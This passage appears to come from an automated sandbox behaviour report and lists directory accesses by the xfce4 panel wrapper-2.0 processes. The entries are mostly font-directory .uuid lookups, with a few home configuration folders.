Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5554)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
